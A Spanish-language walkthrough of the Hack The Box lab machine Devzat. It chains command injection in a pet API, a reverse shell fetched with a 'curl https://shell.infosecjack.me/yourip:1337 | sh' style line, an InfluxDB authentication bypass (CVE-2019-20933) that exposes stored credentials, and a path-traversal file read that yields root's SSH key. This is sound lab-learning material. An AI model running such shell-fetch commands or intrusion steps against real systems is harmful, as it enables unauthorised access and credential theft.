Devzat presenta un sitio web donde identificamos una vulnerabilidad de ‘Command Injection’, tambien, se expone el chat Devzat por SSH donde obtuvimos información acerca de la base de datos y la versión en Desarrollo del chat. Explotamos una vulnerabilidad en InfluxDB lo que nos permitió acceder a un segundo usuario. Finalmente escalamos privilegios analizando el codigo fuente de la version en Desarrollo, lo que nos permitió realizar la lectura de archivos como root y obtener acceso por SSH.
# Nmap 7.91 scan initiated Sat Oct 16 20:00:33 2021 as: nmap -p22,80 -sC -sV -o nmap_scan 10.10.11.118Nmap scan report for devzat.htb (10.10.11.118)Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)|256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: devzat - where the devs at
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 16 20:00:43 2021 -- 1 IP address (1 host up) scanned in 10.34 seconds
Web Site
El puerto 80 nos redirige hacia un dominio principal: devzat.htb, el cual agregamos a /etc/hosts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
π ~/htb/devzat ❯ curl -s 10.10.11.118
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://devzat.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.118 Port 80</address>
</body></html>
π ~/htb/devzat ❯ curl -sI 10.10.11.118
HTTP/1.1 302 Found
Date: Sat, 16 Oct 2021 22:50:00 GMT
Server: Apache/2.4.41 (Ubuntu)Location: http://devzat.htb/
Content-Type: text/html;charset=iso-8859-1
π ~/htb/devzat ❯
En el sitio web presentan un chat accesible por medio de SSH.
Vemos las instrucciones donde se muestra el puerto 80 en la conexion de ssh y con la flag -l para agregar un nombre de usuario.
Finalmente en el footer vemos un nombre de usuario como correo electronico.
Directory Brute Forcing
feroxbuster no mostró ningun otro directorio o pagina donde sacar informacion.
Al intentar conectarnos al chat con el nombre patrick este no lo acepta, pero si cambiamos una de las letras a mayusculas, éste nos permite ingresar, vemos el “historial” del chat de patrick donde se menciona una base de datos: influxdb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
π ~/htb/devzat ❯ ssh -l patrick devzat.htb -p 8000Nickname reserved forlocal use, please choose a different one.
> patrick
Nickname reserved forlocal use, please choose a different one.
> Patrick
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: Patrick has joined the chat
Patrick:
Subdominios
Al no encontrar algun tipo de vulnerablidad en devzat enumeramos los subdominios utilizando ffuf. Vemos el subdominmio pets.
En este subdomino encontramos una pagina con una lista de mascotas, especie y caracteristica de cada una de ellas.
Por debajo de la lista encontramos un formulario para agregar una nueva mascota, sin embargo tras ingresar un valor y recargar la pagina este, desaparece.
Vemos en el codigo fuente el directorio /build/ donde encontramos el archivo main.js.map, este ultimo contiene el codigo fuente y en el vemos una solicitud POST hacia una API.
import{onMount}from'svelte';letanimals=[];letpostAnimal={name:'',species:'cat'};onMount(async()=>{// fetch animals
constres=awaitfetch(`/api/pet`);animals=awaitres.json();});asyncfunctiondoPost(){// add the new animal
awaitfetch(`/api/pet`,{method:'POST',body:JSON.stringify(postAnimal),}).then(async(res)=>{if(res.status==200){// reload animals
constupdate=awaitfetch(`/api/pet`);animals=awaitupdate.json();// Clear form
postAnimal={name:''};}}).catch((err)=>alert(err));}
API - Command Injection
Utilizando burpsuite capturamos la solicitud POST, jugando con los parametros de envio logramos realizar Command Injection en el parametro species, donde vemos que el usuario que ejecuta la aplicacion es Patrick.
Shell
Utilizamos reverse-shell de la version de InfosecJack (no disponible, alternativa shells) para generar un archivo con multiples shells inversas , tambien ejecutamos un mini servidor con python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
π ~/htb/devzat/www ❯ wget -q https://shell.infosecjack.me/10.10.14.30:1338 -O x
π ~/htb/devzat/www ❯ head x
# Reverse Shell as a Service# https://github.com/SewellDinG/reverse-shell# 1. On your machine:# nc -l 1337## 2. On the target machine:# curl https://shell.infosecjack.me/yourip:1337 | sh## 3. Don't be a dick (please only use for CTFs) π ~/htb/devzat/www ❯ httphere .
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
Ejecutamos netcat en el puerto especificado anteriormente y ejecutamos el archivo enviando el comando.
π ~/htb/devzat ❯ ssh patrick@devzat.htb -i id_rsa_patrick
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 19 Oct 2021 03:08:50 AM UTC
System load: 0.0 Processes: 241 Usage of /: 58.9% of 7.81GB Users logged in: 0 Memory usage: 22% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for eth0: 10.10.11.118
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Jun 22 19:48:41 2021 from 192.168.50.1
patrick@devzat:~$ pwd/home/patrick
patrick@devzat:~$
User - Catherine
Encontramos multiples puertos abiertos localmente, si recordamos, el usuario admin menciona influxdb, segun la documentacion el puerto 8086 es el puerto por default del servicio HTTP, el cual se lista al ejecutar netstat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
patrick@devzat:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:5000 0.0.0.0:* LISTEN 846/./petshop
tcp 00 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:8086 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 00 :::8000 :::* LISTEN 904/./devchat
tcp6 00 :::80 :::* LISTEN -
tcp6 00 :::22 :::* LISTEN -
patrick@devzat:~$
Tambien, enumerando los usuarios vemos dos archivos “backup” a los que solo catherine puede acceder.
Además, en el chat devzat se menciona un feature implementado en la version de desarrollo que se encuentra en el puerto 8443, mencionado por Patrick, tambien se menciona el codigo fuente en el backup, seguramente devzat-dev.zip.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/devzat ❯ ssh -l Catherine devzat.htb -p 8000patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍 You'll need a password I gave you last time.
catherine: k
patrick: I left the sourcefor your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: Catherine has joined the chat
Catherine:
Devzat Local Chat
Al conectarnos localmente a la version de desarrollo, encontramos el chat similar al puerto 8000, pero en este se menciona la version de infuxdb que es: 1.7.5.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
patrick@devzat:~$ ssh 127.0.0.1 -p 8443The authenticity of host '[127.0.0.1]:8443 ([127.0.0.1]:8443)' can't be established.
ED25519 key fingerprint is SHA256:liAkhV56PrAa5ORjJC5MU4YSl8kfNXp+QuljetKw0XU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8443'(ED25519) to the list of known hosts.
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb 1.7.5 for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick: exitpatrick: /exit
Connection to 127.0.0.1 closed.
El chat de catherine muestra informacion similar al puerto 8000, vemos el comando diff main dev que podria mostrar los cambios realizados en la versio en desarrollo y la principal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Catherinepatrick@devzat:~$ ssh -l Catherine 127.0.0.1 -p 8443patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍 You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could `diff main dev`if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: Catherine has joined the chat
Catherine:
InfluxDB
La version de InfluxDB se ve afectada por un exploit (CVE-2019-20933) que realiza bypass a la autenticacion mediante la creacion de un token JWT. Este exploit utiliza un wordlist de usuarios, conocemos tres.
1
2
3
4
π InfluxDB-Exploit-CVE-2019-20933 master ✗ ❯ cat user.txt
catherine
patrick
admin
Principalmente utilizamos SSH para realizar Port Forwarding al puerto 8086.
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): show series
{"results": [{"series": [{"columns": ["key"],
"values": [["user"]]}],
"statement_id": 0}]}
Al extraer la informacion de user encontramos multiples credenciales.
Utilizando las contraseñas con catherine logramos obtener una shell y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$ whoami
catherine
catherine@devzat:/home/patrick$ cdcatherine@devzat:~$ ls
user.txt
catherine@devzat:~$ cat user.txt
5890b3e0aa54770c37e6b7c5e938baf1
catherine@devzat:~$
Privesc
Con catherine logramos obtener acceso al backup, donde identificamos los cambios, vemos la funcion fileCommand que obtiene dos parametros, la direccion de un archivo y la contraseña que encontramos en el codigo fuente, dicha funcion realiza la lectura de un archivo.
funcfileCommand(u*user,args[]string){iflen(args)<1{u.system("Please provide file to print and the password")return}iflen(args)<2{u.system("You need to provide the correct password to use this function")return}path:=args[0]pass:=args[1]// Check my secure password
ifpass!="CeilingCatStillAThingIn2021?"{u.system("You did provide the wrong password")return}// Get CWD
cwd,err:=os.Getwd()iferr!=nil{u.system(err.Error())}// Construct path to print
printPath:=filepath.Join(cwd,path)// Check if file exists
if_,err:=os.Stat(printPath);err==nil{// exists, print
file,err:=os.Open(printPath)iferr!=nil{u.system(fmt.Sprintf("Something went wrong opening the file: %+v",err.Error()))return}deferfile.Close()scanner:=bufio.NewScanner(file)forscanner.Scan(){u.system(scanner.Text())}iferr:=scanner.Err();err!=nil{u.system(fmt.Sprintf("Something went wrong printing the file: %+v",err.Error()))}return}elseifos.IsNotExist(err){// does not exist, print error
u.system(fmt.Sprintf("The requested file @ %+v does not exist!",printPath))return}// bokred?
u.system("Something went badly wrong.")}
catherine@devzat:~$ ssh 127.0.0.1 -p 8443The authenticity of host '[127.0.0.1]:8443 ([127.0.0.1]:8443)' can't be established.
ED25519 key fingerprint is SHA256:liAkhV56PrAa5ORjJC5MU4YSl8kfNXp+QuljetKw0XU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8443' (ED25519) to the list of known hosts.
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍 You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine: /file root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root.txt does not exist!
catherine: /file ../root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 9a307cb29b87600731ec24276cf9c42f
catherine:
Shell
Tambien logramos obtener la clave privada del usuario root.
π ~/htb/devzat ❯ chmod 600 root_id
π ~/htb/devzat ❯ ssh root@devzat.htb -i root_id
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 17 Oct 2021 06:02:58 AM UTC
System load: 0.05 Processes: 253 Usage of /: 59.0% of 7.81GB Users logged in: 1 Memory usage: 39% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for eth0: 10.10.11.118
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct 11 14:28:01 2021root@devzat:~# whoami; id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@devzat:~# cat root.txt
07e6db32efce01eb2368c0f813fd0ad1
root@devzat:~#